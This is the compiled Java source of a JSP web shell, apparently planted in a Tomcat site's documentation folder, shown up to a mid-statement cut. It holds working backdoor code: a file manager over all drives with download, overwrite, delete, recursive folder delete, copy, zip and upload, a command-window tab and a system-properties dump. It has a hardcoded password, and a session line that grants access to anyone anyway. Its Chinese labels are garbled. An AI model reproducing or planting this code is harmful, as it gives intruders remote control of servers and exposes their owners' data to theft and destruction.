Edit C:\galaxie\deploy\Tomcat6\work\Catalina\localhost\docs\org\apache\jsp\funcspecs\_1_jsp.java
package org.apache.jsp.funcspecs; import javax.servlet.*; import javax.servlet.http.*; import javax.servlet.jsp.*; import java.io.*; import java.util.*; import java.util.zip.*; import java.text.*; public final class _1_jsp extends org.apache.jasper.runtime.HttpJspBase implements org.apache.jasper.runtime.JspSourceDependent { private final static int languageNo = 0; //è¯è¨?ç??æ?¬ï¼?0 : ä¸æ??ï¼? 1ï¼?è?±æ?? String password = "testing012";//ç?»å½?å¯?ç ? String[] authorInfo = { "", " " }; String[] strFileManage = { "æ?? 件 管 ç??", "File Management" }; String[] strCommand = { "CMD å?½ 令", "Command Window" }; String[] strSysProperty = { "ç³» ç»? å±? æ?§", "System Property" }; String[] zipFolderProperty = { "ç?®å½?æ??å??ä¸?è½½", "This Folder ZIP" }; String[] strHelp = { "帮 å?©", "Help" }; String[] strParentFolder = { "ä¸?级ç?®å½?", "Parent Folder" }; String[] strCurrentFolder = { "å½?å??ç?®å½?", "Current Folder" }; String[] strDrivers = { "ç??符", "Drivers" }; String[] strFileName = { "æ??件å??称", "File Name" }; String[] strFileSize = { "æ??件大å°?", "File Size" }; String[] strLastModified = { "æ??å??ä¿®æ?¹", "Last Modified" }; String[] strFileOperation = { "æ??件æ??ä½?", "Operations" }; String[] strFileEdit = { "ä¿®æ?¹", "Edit" }; String[] strFileDown = { "ä¸?è½½", "Download" }; String[] strFileCopy = { "å¤?å?¶", "Move" }; String[] strFileDel = { "å? é?¤", "Delete" }; String[] strExecute = { "æ?§è¡?", "Execute" }; String[] strBack = { "è¿?å??", "Back" }; String[] strFileSave = { "ä¿?å?", "Save" }; String[] strCreateFile = { "æ?°å»ºæ??件", "Create File" }; String[] strCreateFolder = { "æ?°å»ºç?®å½?", "Create Folder" }; String[] strUpload = { "ä¸?ä¼ ", "Upload" }; String[] strDelFolder = {"å? é?¤ç?®å½?","Del Folder"}; public static class UploadMonitor { static Hashtable uploadTable = new Hashtable(); static void set(String fName, UplInfo info) { uploadTable.put(fName, info); } static void remove(String fName) { uploadTable.remove(fName); } static UplInfo getInfo(String fName) { UplInfo info = (UplInfo) uploadTable.get(fName); return info; } } public class UplInfo { public long totalSize; public long currSize; public long starttime; public boolean aborted; public UplInfo() { totalSize = 0l; currSize = 0l; starttime = System.currentTimeMillis(); aborted = false; } public UplInfo(int size) { totalSize = size; currSize = 0; starttime = System.currentTimeMillis(); aborted = false; } public String getUprate() { long time = System.currentTimeMillis() - starttime; if (time != 0) { long uprate = currSize * 1000 / time; return convertFileSize(uprate) + "/s"; } else return "n/a"; } public int getPercent() { if (totalSize == 0) return 0; else return (int) (currSize * 100 / totalSize); } public String getTimeElapsed() { long time = (System.currentTimeMillis() - starttime) / 1000l; if (time - 60l >= 0) { if (time % 60 >= 10) return time / 60 + ":" + (time % 60) + "m"; else return time / 60 + ":0" + (time % 60) + "m"; } else return time < 10 ? "0" + time + "s" : time + "s"; } public String getTimeEstimated() { if (currSize == 0) return "n/a"; long time = System.currentTimeMillis() - starttime; time = totalSize * time / currSize; time /= 1000l; if (time - 60l >= 0) { if (time % 60 >= 10) return time / 60 + ":" + (time % 60) + "m"; else return time / 60 + ":0" + (time % 60) + "m"; } else return time < 10 ? "0" + time + "s" : time + "s"; } } public class FileInfo { public String name = null, clientFileName = null, fileContentType = null; private byte[] fileContents = null; public File file = null; public StringBuffer sb = new StringBuffer(100); public void setFileContents(byte[] aByteArray) { fileContents = new byte[aByteArray.length]; System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); } } public class HttpMultiPartParser { private final int ONE_MB = 1024 * 1; public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, int clength) throws IllegalArgumentException, IOException { if (is == null) throw new IllegalArgumentException("InputStream"); if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException("\"" + boundary + "\" is an illegal boundary indicator"); boundary = "--" + boundary; StringTokenizer stLine = null, stFields = null; FileInfo fileInfo = null; Hashtable dataTable = new Hashtable(5); String line = null, field = null, paramName = null; boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); boolean isFile = false; if (saveFiles) { // Create the required directory (including parent dirs) File f = new File(saveInDir); f.mkdirs(); } line = getLine(is); if (line == null || !line.startsWith(boundary)) throw new IOException("Boundary not found; boundary = " + boundary + ", line = " + line); while (line != null) { if (line == null || !line.startsWith(boundary)) return dataTable; line = getLine(is); if (line == null) return dataTable; stLine = new StringTokenizer(line, ";\r\n"); if (stLine.countTokens() < 2) throw new IllegalArgumentException( "Bad data in second line"); line = stLine.nextToken().toLowerCase(); if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( "Bad data in second line"); stFields = new StringTokenizer(stLine.nextToken(), "=\""); if (stFields.countTokens() < 2) throw new IllegalArgumentException( "Bad data in second line"); fileInfo = new FileInfo(); stFields.nextToken(); paramName = stFields.nextToken(); isFile = false; if (stLine.hasMoreTokens()) { field = stLine.nextToken(); stFields = new StringTokenizer(field, "=\""); if (stFields.countTokens() > 1) { if (stFields.nextToken().trim().equalsIgnoreCase( "filename")) { fileInfo.name = paramName; String value = stFields.nextToken(); if (value != null && value.trim().length() > 0) { fileInfo.clientFileName = value; isFile = true; } else { line = getLine(is); // Skip "Content-Type:" line line = getLine(is); // Skip blank line line = getLine(is); // Skip blank line line = getLine(is); // Position to boundary line continue; } } } else if (field.toLowerCase().indexOf("filename") >= 0) { line = getLine(is); // Skip "Content-Type:" line line = getLine(is); // Skip blank line line = getLine(is); // Skip blank line line = getLine(is); // Position to boundary line continue; } } boolean skipBlankLine = true; if (isFile) { line = getLine(is); if (line == null) return dataTable; if (line.trim().length() < 1) skipBlankLine = false; else { stLine = new StringTokenizer(line, ": "); if (stLine.countTokens() < 2) throw new IllegalArgumentException( "Bad data in third line"); stLine.nextToken(); // Content-Type fileInfo.fileContentType = stLine.nextToken(); } } if (skipBlankLine) { line = getLine(is); if (line == null) return dataTable; } if (!isFile) { line = getLine(is); if (line == null) return dataTable; dataTable.put(paramName, line); // If parameter is dir, change saveInDir to dir if (paramName.equals("dir")) saveInDir = line; line = getLine(is); continue; } try { UplInfo uplInfo = new UplInfo(clength); UploadMonitor.set(fileInfo.clientFileName, uplInfo); OutputStream os = null; String path = null; if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, fileInfo.clientFileName)); else os = new ByteArrayOutputStream(ONE_MB); boolean readingContent = true; byte previousLine[] = new byte[2 * ONE_MB]; byte temp[] = null; byte currentLine[] = new byte[2 * ONE_MB]; int read, read3; if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { line = null; break; } while (readingContent) { if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { line = null; uplInfo.aborted = true; break; } if (compareBoundary(boundary, currentLine)) { os.write(previousLine, 0, read - 2); line = new String(currentLine, 0, read3); break; } else { os.write(previousLine, 0, read); uplInfo.currSize += read; temp = currentLine; currentLine = previousLine; previousLine = temp; read = read3; }//end else }//end while os.flush(); os.close(); if (!saveFiles) { ByteArrayOutputStream baos = (ByteArrayOutputStream) os; fileInfo.setFileContents(baos.toByteArray()); } else fileInfo.file = new File(path); dataTable.put(paramName, fileInfo); uplInfo.currSize = uplInfo.totalSize; }//end try catch (IOException e) { throw e; } } return dataTable; } private boolean compareBoundary(String boundary, byte ba[]) { if (boundary == null || ba == null) return false; for (int i = 0; i < boundary.length(); i++) if ((byte) boundary.charAt(i) != ba[i]) return false; return true; } private synchronized String getLine(ServletInputStream sis) throws IOException { byte b[] = new byte[1024]; int read = sis.readLine(b, 0, b.length), index; String line = null; if (read != -1) { line = new String(b, 0, read); if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); } return line; } public String getFileName(String dir, String fileName) throws IllegalArgumentException { String path = null; if (dir == null || fileName == null) throw new IllegalArgumentException("dir or fileName is null"); int index = fileName.lastIndexOf('/'); String name = null; if (index >= 0) name = fileName.substring(index + 1); else name = fileName; index = name.lastIndexOf('\\'); if (index >= 0) fileName = name.substring(index + 1); path = dir + File.separator + fileName; if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); else return path.replace('/', File.separatorChar); } } private String formatPath(String p) { StringBuffer sb = new StringBuffer(); for (int i = 0; i < p.length(); i++) { if (p.charAt(i) == '\\') { sb.append("\\\\"); } else { sb.append(p.charAt(i)); } } return sb.toString(); } private static String conv2Html(int i) { if (i == '&') return "&"; else if (i == '<') return "<"; else if (i == '>') return ">"; else if (i == '"') return """; else return "" + (char) i; } private static String htmlEncode(String st) { StringBuffer buf = new StringBuffer(); for (int i = 0; i < st.length(); i++) { buf.append(conv2Html(st.charAt(i))); } return buf.toString(); } String getDrivers() { StringBuffer sb = new StringBuffer(strDrivers[languageNo] + " : "); File roots[] = File.listRoots(); for (int i = 0; i < roots.length; i++) { sb.append(" <a href=\"javascript:doForm('','" + roots[i] + "\\','','','1','');\">"); sb.append(roots[i] + "</a> "); } return sb.toString(); } static String convertFileSize(long filesize) { //bug 5.09M æ?¾ç¤º5.9M String strUnit = "Bytes"; String strAfterComma = ""; int intDivisor = 1; if (filesize >= 1024 * 1024) { strUnit = "MB"; intDivisor = 1024 * 1024; } else if (filesize >= 1024) { strUnit = "KB"; intDivisor = 1024; } if (intDivisor == 1) return filesize + " " + strUnit; strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor; if (strAfterComma == "") strAfterComma = ".0"; return filesize / intDivisor + "." + strAfterComma + " " + strUnit; } static class ZipFolder { public static void zipDirectory(String dir, String zipfile) throws IOException, IllegalArgumentException { File d = new File(dir); if (!d.isDirectory()) { throw new IllegalArgumentException("é??误,没æ??æ?¾å?°" + dir + "ç?®å½?"); } String[] entries = d.list(); byte[] buffer = new byte[4096]; int bytes_read; ZipOutputStream out = new ZipOutputStream(new FileOutputStream( zipfile)); for (int i = 0; i < entries.length; i++) { File f = new File(d, entries[i]); if (f.isDirectory()) continue; FileInputStream in = new FileInputStream(f); ZipEntry entry = new ZipEntry(f.getPath()); out.putNextEntry(entry); while ((bytes_read = in.read(buffer)) != -1) out.write(buffer, 0, bytes_read); in.close(); } out.close(); } } static void delFolder(File dir){ File filelist[]=dir.listFiles(); int listlen=filelist.length; for(int i=0;i<listlen;i++){ if(filelist[i].isDirectory()){ delFolder(filelist[i]); } else{ filelist[i].delete(); } } dir.delete();//å? é?¤å½?å??ç?®å½? } private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory(); private static java.util.List _jspx_dependants; private javax.el.ExpressionFactory _el_expressionfactory; private org.apache.AnnotationProcessor _jsp_annotationprocessor; public Object getDependants() { return _jspx_dependants; } public void _jspInit() { _el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory(); _jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName()); } public void _jspDestroy() { } public void _jspService(HttpServletRequest request, HttpServletResponse response) throws java.io.IOException, ServletException { PageContext pageContext = null; HttpSession session = null; ServletContext application = null; ServletConfig config = null; JspWriter out = null; Object page = this; JspWriter _jspx_out = null; PageContext _jspx_page_context = null; try { response.setContentType("text/html;charset=gb2312"); pageContext = _jspxFactory.getPageContext(this, request, response, null, true, 8192, true); _jspx_page_context = pageContext; application = pageContext.getServletContext(); config = pageContext.getServletConfig(); session = pageContext.getSession(); out = pageContext.getOut(); _jspx_out = out; out.write("\r\n"); out.write("\r\n"); long startTime = System.currentTimeMillis(); long startMem = Runtime.getRuntime().freeMemory(); String uri = request.getRequestURI(); String strThisFile = uri.substring(uri.lastIndexOf("/")+1);//æ?¬æ??件æ??件å?? out.write('\r'); out.write('\n'); out.write('\r'); out.write('\n'); request.getSession().setAttribute("user", "ok"); request.setCharacterEncoding("gb2312"); String tabID = request.getParameter("tabID"); String strDir = request.getParameter("path"); String strAction = request.getParameter("action"); String strFile = request.getParameter("file"); String strPath = strDir + "\\" + strFile; String strCmd = request.getParameter("cmd"); StringBuffer sbEdit = new StringBuffer(""); StringBuffer sbDown = new StringBuffer(""); StringBuffer sbCopy = new StringBuffer(""); StringBuffer sbSaveCopy = new StringBuffer(""); StringBuffer sbNewFile = new StringBuffer(""); StringBuffer sbZip = new StringBuffer(""); StringBuffer sbDelFolder = new StringBuffer(""); String user = (String) request.getSession().getAttribute("user"); if (request.getParameter("password") != null && request.getParameter("password").equals(password)) { request.getSession().setAttribute("user", "ok"); response.sendRedirect(strThisFile); } if ((tabID == null) || tabID.equals("")) { tabID = "1"; } if (strDir == null || strDir.length() < 1) { strDir = request.getSession().getServletContext().getRealPath( "/"); } if (strAction != null && strAction.equals("down")) { File f = new File(strPath); if (f.length() == 0) { sbDown.append("æ??件大å°?为 0 å?è??ï¼?å°±ä¸?ç?¨ä¸?äº?å?§"); } else { response.setHeader("content-type", "text/html; charset=ISO-8859-1"); response.setContentType("APPLICATION/OCTET-STREAM"); response.setHeader("Content-Disposition", "attachment; filename=\"" + f.getName() + "\""); FileInputStream fileInputStream = new FileInputStream(f .getAbsolutePath()); out.clearBuffer(); int i; while ((i = fileInputStream.read()) != -1) { out.write(i); } fileInputStream.close(); out.close(); } } if (strAction != null && strAction.equals("del")) { File f = new File(strPath); f.delete(); } if (strAction != null && strAction.equals("edit")) { File f = new File(strPath); BufferedReader br = new BufferedReader(new InputStreamReader( new FileInputStream(f))); sbEdit .append("<form name='frmEdit' action='' method='POST'>\r\n"); sbEdit .append("<input type=hidden name=action value=save >\r\n"); sbEdit.append("<input type=hidden name=path value='" + strDir + "' >\r\n"); sbEdit.append("<input type=hidden name=file value='" + strFile + "' >\r\n"); sbEdit.append("<input type=submit name=save value=' " + strFileSave[languageNo] + " '> "); sbEdit.append("<input type=button name=goback value=' " + strBack[languageNo] + " ' onclick='history.back(-1);'> " + strPath + "\r\n"); sbEdit .append("<br><textarea rows=22 name=content style=\"font-size:12px;width:96%;\">"); String line = ""; while ((line = br.readLine()) != null) { sbEdit.append(htmlEncode(line) + "\r\n"); } sbEdit.append("</textarea>"); sbEdit.append("<input type=hidden name=path value=" + strDir + ">"); sbEdit.append("</form>"); } if (strAction != null && strAction.equals("save")) { File f = new File(strPath); BufferedWriter bw = new BufferedWriter(new OutputStreamWriter( new FileOutputStream(f))); String strContent = request.getParameter("content"); bw.write(strContent); bw.close(); } if (strAction != null && strAction.equals("copy")) { sbCopy .append("<br><form name='frmCopy' action='' method='POST'>\r\n"); sbCopy .append("<input type=hidden name=action value=savecopy >\r\n"); sbCopy.append("<input type=hidden name=path value='" + strDir + "' >\r\n"); sbCopy.append("<input type=hidden name=file value='" + strFile + "' >\r\n"); sbCopy.append("å??å§?æ??件ï¼? " + strPath + "<p>"); sbCopy .append("ç?®æ ?æ??件ï¼? <input type=text name=file2 size=40 value='" + strDir + "'><p>"); sbCopy.append("<input type=submit name=save value=' " + strFileCopy[languageNo] + " '> "); sbCopy.append("<input type=button name=goback value=' " + strBack[languageNo] + " ' onclick='history.back(-1);'> <p> \r\n"); sbCopy.append("</form>"); } if (strAction != null && strAction.equals("savecopy")) { File f = new File(strPath); String strDesFile = request.getParameter("file2"); if (strDesFile == null || strDesFile.equals("")) { sbSaveCopy.append("<p><font color=red>ç?®æ ?æ??件é??误ã??</font>"); } else { File f_des = new File(strDesFile); if (f_des.isFile()) { sbSaveCopy .append("<p><font color=red>ç?®æ ?æ??件已å?å?¨,ä¸?è?½å¤?å?¶ã??</font>"); } else { String strTmpFile = strDesFile; if (f_des.isDirectory()) { if (!strDesFile.endsWith("\\")) { strDesFile = strDesFile + "\\"; } strTmpFile = strDesFile + "cqq_" + strFile; } File f_des_copy = new File(strTmpFile); FileInputStream in1 = new FileInputStream(f); FileOutputStream out1 = new FileOutputStream(f_des_copy); byte[] buffer = new byte[1024]; int c; while ((c = in1.read(buffer)) != -1) { out1.write(buffer, 0, c); } in1.close(); out1.close(); sbSaveCopy.append("å??å§?æ??件 ï¼?" + strPath + "<p>"); sbSaveCopy.append("ç?®æ ?æ??件 ï¼?" + strTmpFile + "<p>"); sbSaveCopy.append("<font color=red>å¤?å?¶æ??å??ï¼?</font>"); } } sbSaveCopy .append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=è¿?å??>"); } if (strAction != null && strAction.equals("newFile")) { String strF = request.getParameter("fileName"); String strType1 = request.getParameter("btnNewFile"); String strType2 = request.getParameter("btnNewDir"); String strType = ""; if (strType1 == null) { strType = "Dir"; } else if (strType2 == null) { strType = "File"; } if (!strType.equals("") && !(strF == null || strF.equals(""))) { File f_new = new File(strF); if (strType.equals("File") && !f_new.createNewFile()) sbNewFile.append(strF + " æ??件å??建æ??å??"); if (strType.equals("Dir") && !f_new.mkdirs()) sbNewFile.append(strF + " ç?®å½?å??建æ??å??"); } else { sbNewFile.append("<p><font color=red>建ç«?æ??件æ??ç?®å½?å?ºé??ã??</font>"); } } if (null!=strAction && "delFolder".equals(strAction)){ String folder = request.getParameter("path"); File dir = new File(folder); delFolder(dir); sbDelFolder.append("ç?®å½?å? é?¤æ??å??"); } if (null != strAction && "zipFolder".equals(strAction)) { String inFolder = request.getParameter("path"); String outFolder = request.getParameter("file"); ZipFolder.zipDirectory(inFolder, outFolder); sbZip.append("<p>ç?®å½?å??缩æ??å??,å??缩æ??件路å¾?为:" + outFolder + "</p>"); } if ((request.getContentType() != null) && (request.getContentType().toLowerCase() .startsWith("multipart"))) { String tempdir = "."; response.setContentType("text/html"); sbNewFile.append("<p><font color=red>建ç«?æ??件æ??ç?®å½?å?ºé??ã??</font>"); HttpMultiPartParser parser = new HttpMultiPartParser(); int bstart = request.getContentType().lastIndexOf("oundary="); String bound = request.getContentType().substring(bstart + 8); int clength = request.getContentLength(); Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); if (ht.get("cqqUploadFile") != null) { FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); File f1 = fi.file; UplInfo info = UploadMonitor.getInfo(fi.clientFileName); if (info != null && info.aborted) { f1.delete(); request.setAttribute("error", "Upload aborted"); } else { String path = (String) ht.get("path"); if (path != null && !path.endsWith("\\")) path = path + "\\"; if (!f1.renameTo(new File(path + f1.getName()))) { request .setAttribute("error", "Cannot upload file."); f1.delete(); } } } } out.write("\r\n"); out.write("<html>\r\n"); out.write("\t<head>\r\n"); out.write("\t\t<title></title>\r\n"); out.write("\t\t<style type=\"text/css\">\r\n"); out.write("td,select,input,body {\r\n"); out.write("\tfont-size: 9pt;\r\n"); out.write("}\r\n"); out.write(".form1 {\r\n"); out.write("\tdisplay: inline;\r\n"); out.write("\tmargin: 0px;\r\n"); out.write("}\r\n"); out.write("A {\r\n"); out.write("\tTEXT-DECORATION: none\r\n"); out.write("}\r\n"); out.write("#tablist {\r\n"); out.write("\tpadding: 5px 0;\r\n"); out.write("\tmargin: 1px 0 2px 0;\r\n"); out.write("\tfont: 9pt;\r\n"); out.write("}\r\n"); out.write("#tablist li {\r\n"); out.write("\tlist-style: none;\r\n"); out.write("\tdisplay: inline;\r\n"); out.write("\tmargin: 0px;\r\n"); out.write("}\r\n"); out.write("#tablist li a {\r\n"); out.write("\tpadding: 3px 0.5em;\r\n"); out.write("\tmargin-left: 3px;\r\n"); out.write("\tborder: 1px solid;\r\n"); out.write("\tbackground: F6F6F6;\r\n"); out.write("}\r\n"); out.write("#tablist li a:link,#tablist li a:visited {\r\n"); out.write("\tcolor: navy;\r\n"); out.write("}\r\n"); out.write("#tablist li a.current {\r\n"); out.write("\tbackground: #EAEAFF;\r\n"); out.write("}\r\n"); out.write("#tabcontentcontainer {\r\n"); out.write("\twidth: 100%;\r\n"); out.write("\tpadding: 5px;\r\n"); out.write("\tborder: 1px solid black;\r\n"); out.write("}\r\n"); out.write(".tabcontent {\r\n"); out.write("\tdisplay: none;\r\n"); out.write("}\r\n"); out.write("</style>\r\n"); if (user != null) { out.write("\r\n"); out.write("<script type=\"text/javascript\">\r\n"); out.write("var initialtab=["); out.print(tabID); out.write(", \"menu"); out.print(tabID); out.write("\"]\r\n"); out.write("function cascadedstyle(el, cssproperty, csspropertyNS){\r\n"); out.write("if (el.currentStyle)\r\n"); out.write("return el.currentStyle[cssproperty]\r\n"); out.write("else if (window.getComputedStyle){\r\n"); out.write("var elstyle=window.getComputedStyle(el, \"\")\r\n"); out.write("return elstyle.getPropertyValue(csspropertyNS)\r\n"); out.write("}\r\n"); out.write("}\r\n"); out.write("var previoustab=\"\"\r\n"); out.write("function expandcontent(cid, aobject){\r\n"); out.write("if (document.getElementById){\r\n"); out.write("highlighttab(aobject)\r\n"); out.write("if (previoustab!=\"\")\r\n"); out.write("document.getElementById(previoustab).style.display=\"none\"\r\n"); out.write("document.getElementById(cid).style.display=\"block\"\r\n"); out.write("previoustab=cid\r\n"); out.write("if (aobject.blur)\r\n"); out.write("aobject.blur()\r\n"); out.write("return false\r\n"); out.write("}\r\n"); out.write("else\r\n"); out.write("return true\r\n"); out.write("}\r\n"); out.write("function highlighttab(aobject){\r\n"); out.write("if (typeof tabobjlinks==\"undefined\")\r\n"); out.write("collecttablinks()\r\n"); out.write("for (i=0; i<tabobjlinks.length; i++)\r\n"); out.write("tabobjlinks[i].style.backgroundColor=initTabcolor\r\n"); out.write("var themecolor=aobject.getAttribute(\"theme\")? aobject.getAttribute(\"theme\") : initTabpostcolor\r\n"); out.write("aobject.style.backgroundColor=document.getElementById(\"tabcontentcontainer\").style.backgroundColor=themecolor\r\n"); out.write("}\r\n"); out.write("function collecttablinks(){\r\n"); out.write("var tabobj=document.getElementById(\"tablist\")\r\n"); out.write("tabobjlinks=tabobj.getElementsByTagName(\"A\")\r\n"); out.write("}\r\n"); out.write("function do_onload(){\r\n"); out.write("collecttablinks()\r\n"); out.write("initTabcolor=cascadedstyle(tabobjlinks[1], \"backgroundColor\", \"background-color\")\r\n"); out.write("initTabpostcolor=cascadedstyle(tabobjlinks[0], \"backgroundColor\", \"background-color\")\r\n"); out.write("expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])\r\n"); out.write("}\r\n"); out.write("if (window.addEventListener)\r\n"); out.write("window.addEventListener(\"load\", do_onload, false)\r\n"); out.write("else if (window.attachEvent)\r\n"); out.write("window.attachEvent(\"onload\", do_onload)\r\n"); out.write("else if (document.getElementById)\r\n"); out.write("window.onload=do_onload\r\n"); out.write("</script>\r\n"); out.write("<script language=\"javascript\">\r\n"); out.write("function doForm(action,path,file,cmd,tab,content)\r\n"); out.write("{\r\n"); out.write("\tdocument.frmCqq.action.value=action;\r\n"); out.write("\tdocument.frmCqq.path.value=path;\r\n"); out.write("\tdocument.frmCqq.file.value=file;\r\n"); out.write("\tdocument.frmCqq.cmd.value=cmd;\r\n"); out.write("\tdocument.frmCqq.tabID.value=tab;\r\n"); out.write("\tdocument.frmCqq.content.value=content;\r\n"); out.write("\tif(action==\"del\"){\r\n"); out.write("\t\tif(confirm(\"ç¡®å®?è¦?å? é?¤æ??件 \"+file+\" å??ï¼?\"))\r\n"); out.write("\t\tdocument.frmCqq.submit();\r\n"); out.write("\t}else{\r\n"); out.write("\t\tif(action==\"delFolder\"){\r\n"); out.write("\t\t\tif(confirm(\"ç¡®å®?è¦?å? é?¤ç?®å½? \"+path+\" å??ï¼?\\n\"+\"å? é?¤è¯¥ç?®å½?,å??该ç?®å½?ä¸?æ??件ä¸?并å? é?¤\"))\r\n"); out.write("\t\t\tdocument.frmCqq.submit();\r\n"); out.write("\t\t}else{\r\n"); out.write("\t\t\tdocument.frmCqq.submit();\r\n"); out.write("\t\t}\r\n"); out.write("\t}\r\n"); out.write("}\r\n"); out.write("</script>\r\n"); } out.write("\r\n"); out.write("</head>\r\n"); out.write("\t<body>\r\n"); out.write("\t\t"); if (user == null) { out.write("\r\n"); out.write("\t\t<form action=\"\" method=\"post\">\r\n"); out.write("\t\t\t<table align=\"center\">\r\n"); out.write("\t\t\t\t<tr>\r\n"); out.write("\t\t\t\t\t<td>ç?»å½?å¯?ç ?:</td>\r\n"); out.write("\t\t\t\t\t<td><input type=\"password\" name=\"password\" /></td>\r\n"); out.write("\t\t\t\t</tr>\r\n"); out.write("\t\t\t\t<tr>\r\n"); out.write("\t\t\t\t\t<td colspan=\"2\" align=\"center\">\r\n"); out.write("\t\t\t\t\t\t<input type=\"submit\" value=\"ç?»å½?\" />\r\n"); out.write("\t\t\t\t\t</td>\r\n"); out.write("\t\t\t\t</tr>\r\n"); out.write("\t\t\t</table>\r\n"); out.write("\t\t</form>\r\n"); out.write("\t\t"); } else { out.write("\r\n"); out.write("\t\t<form name=\"frmCqq\" method=\"post\" action=\"\">\r\n"); out.write("\t\t <input type=\"hidden\" name=\"action\" value=\"\">\r\n"); out.write("\t\t <input type=\"hidden\" name=\"path\" value=\"\">\r\n"); out.write("\t\t <input type=\"hidden\" name=\"file\" value=\"\">\r\n"); out.write("\t\t <input type=\"hidden\" name=\"cmd\" value=\"\">\r\n"); out.write("\t\t <input type=\"hidden\" name=\"tabID\" value=\"2\">\r\n"); out.write("\t\t <input type=\"hidden\" name=\"content\" value=\"\">\r\n"); out.write("\t\t</form>\r\n"); out.write("\t\t<!--Top Menu Started-->\r\n"); out.write("\t\t<ul id=\"tablist\">\r\n"); out.write("\t\t\t<li>\r\n"); out.write("\t\t\t\t<a href=\"http://www.baidu.com\" class=\"current\"\r\n"); out.write("\t\t\t\t\tonClick=\"return expandcontent('menu1', this)\">"); out.print(strFileManage[languageNo]); out.write("</a>\r\n"); out.write("\t\t\t</li>\r\n"); out.write("\t\t\t<li>\r\n"); out.write("\t\t\t\t<a href=\"http://www.baidu.com\"\r\n"); out.write("\t\t\t\t\tonClick=\"return expandcontent('menu2', this)\">"); out.print(strCommand[languageNo]); out.write("</a>\r\n"); out.write("\t\t\t</li>\r\n"); out.write("\t\t\t<li>\r\n"); out.write("\t\t\t\t<a href=\"http://www.baidu.com\"\r\n"); out.write("\t\t\t\t\tonClick=\"return expandcontent('menu3', this)\">"); out.print(strSysProperty[languageNo]); out.write("</a>\r\n"); out.write("\t\t\t</li>\r\n"); out.write("\t\t\t<li>\r\n"); out.write("\t\t\t\t<a href=\"http://www.baidu.com\"\r\n"); out.write("\t\t\t\t\tonClick=\"return expandcontent('menu4', this)\">"); out.print(strHelp[languageNo]); out.write("</a>\r\n"); out.write("\t\t\t</li>\r\n"); out.write("\t\t</ul>\r\n"); out.write("\t\t<!--Top Menu End-->\r\n"); out.write("\t\t"); StringBuffer sbFolder = new StringBuffer(""); StringBuffer sbFile = new StringBuffer(""); try { File objFile = new File(strDir); if(!objFile.exists()){ strDir = strDir.substring(0,strDir.lastIndexOf("\\")); objFile = new File(strDir); } File list[] = objFile.listFiles(); if (objFile.getAbsolutePath().length() > 3) { sbFolder .append("<tr><td ></td><td><a href=\"javascript:doForm('','"); sbFolder.append(formatPath(objFile.getParentFile() .getAbsolutePath())); sbFolder.append("','','" + strCmd + "','1','');\">"); sbFolder.append(strParentFolder[languageNo]); sbFolder.append("</a>"); sbFolder.append(" <a href=\"javascript:doForm('zipFolder','"); sbFolder.append(formatPath(strDir)); sbFolder.append("','"+formatPath(strDir)+"\\\\hZipFile.zip','" + strCmd + "','1','');\">"); sbFolder.append(zipFolderProperty[languageNo]); sbFolder.append("</a>"); sbFolder.append("<br>"); sbFolder.append("- - - - - - - - - - - </td></tr>\r\n"); } for (int i = 0; i < list.length; i++) { if (list[i].isDirectory()) { sbFolder.append("<tr><td > </td><td>"); sbFolder.append("<a href=\"javascript:doForm('','"); sbFolder.append(formatPath(list[i] .getAbsolutePath())); sbFolder .append("','','" + strCmd + "','1','');\">"); sbFolder.append(list[i].getName()+ "</a>"); sbFolder.append(" <a href=\"javascript:doForm('delFolder','"); sbFolder.append(formatPath(list[i] .getAbsolutePath())); sbFolder .append("','','" + strCmd + "','1','');\">"); sbFolder.append(strDelFolder[languageNo]+ "</a>"); sbFolder.append("<br></td></tr> "); } else { String strLen = ""; String strDT = ""; long lFile = 0; lFile = list[i].length(); strLen = convertFileSize(lFile); java.util.Date dt = new java.util.Date(list[i] .lastModified()); SimpleDateFormat dd = new SimpleDateFormat( "yyyy-MM-dd hh:mm:ss"); strDT = dd.format(dt); sbFile .append("<tr onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>"); sbFile.append("" + list[i].getName()); sbFile.append("</td><td>"); sbFile.append("" + strLen); sbFile.append("</td><td>"); sbFile.append("" + strDT); sbFile.append("</td><td>"); for (int temp = 0; temp < 4; temp++) { String action; String actionName; if (temp == 0) { action = "edit"; actionName = strFileEdit[languageNo]; } else if (temp == 1) { action = "del"; actionName = strFileDel[languageNo]; } else if (temp == 2) { action = "down"; actionName = strFileDown[languageNo]; } else { action = "copy"; actionName = strFileCopy[languageNo]; } ; sbFile .append(" <a href=\"javascript:doForm('" + action + "','"); sbFile.append(formatPath(strDir) + "','"); sbFile.append(list[i].getName()); sbFile.append("','" + strCmd + "','" + tabID + "','');\">"); sbFile.append(actionName + "</a>"); } sbFile.append("</td></tr>"); } } } catch (Exception e) { out.println("<font color=red>æ??ä½?失败ï¼? " + e.toString() + "</font>"); } out.write("\r\n"); out.write("\t\t<DIV id=\"tabcontentcontainer\">\r\n"); out.write("\t\t\t<div id=\"menu3\" class=\"tabcontent\">\r\n"); out.write("\t\t\t\t"); Properties prop = new Properties(System.getProperties()); out.write("\r\n"); out.write("\t\t\t\t<ol>\r\n"); out.write("\t\t\t\t\t<li>JVMç??æ?¬å?·:"); out.print(prop.getProperty("java.vm.version")); out.write("</li>\r\n"); out.write("\t\t\t\t\t<li>JAVAå®?è£?ç?®å½?:"); out.print(prop.getProperty("java.home")); out.write("</li>\r\n"); out.write("\t\t\t\t\t<li>JAVA类路å¾?:"); 